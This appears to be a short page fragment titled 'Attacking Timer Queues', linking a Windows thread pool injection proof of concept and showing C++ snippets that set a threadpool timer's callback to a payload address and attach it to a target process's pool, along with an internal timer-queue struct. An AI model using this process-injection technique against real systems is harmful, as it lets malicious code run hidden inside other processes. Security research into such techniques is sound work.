Attacking Timer Queues
Code: https://github.com/Uri3n/Thread-Pool-Injection-PoC/blob/main/ThreadPoolInjection/TimerInject.cpp
pFullTpTimer = reinterpret_cast<PFULL_TP_TIMER>(
CreateThreadpoolTimer(
static_cast<PTP_TIMER_CALLBACK>(payloadAddress),
nullptr,
nullptr));pFullTpTimer->Work.CleanupGroupMember.Pool =
static_cast<PFULL_TP_POOL>(workerFactoryInfo.StartParameter);pFullTpTimer->DueTime = timeOutInterval; //This is -10000000typedef struct _TPP_TIMER_QUEUE
{
struct _RTL_SRWLOCK Lock;
struct _TPP_TIMER_SUBQUEUE AbsoluteQueue; //< The “absolute queue”
struct _TPP_TIMER_SUBQUEUE RelativeQueue; //< The “relative queue”
INT32 AllocatedTimerCount;
INT32 __PADDING__[1];
} TPP_TIMER_QUEUE, * PTPP_TIMER_QUEUE;Last updated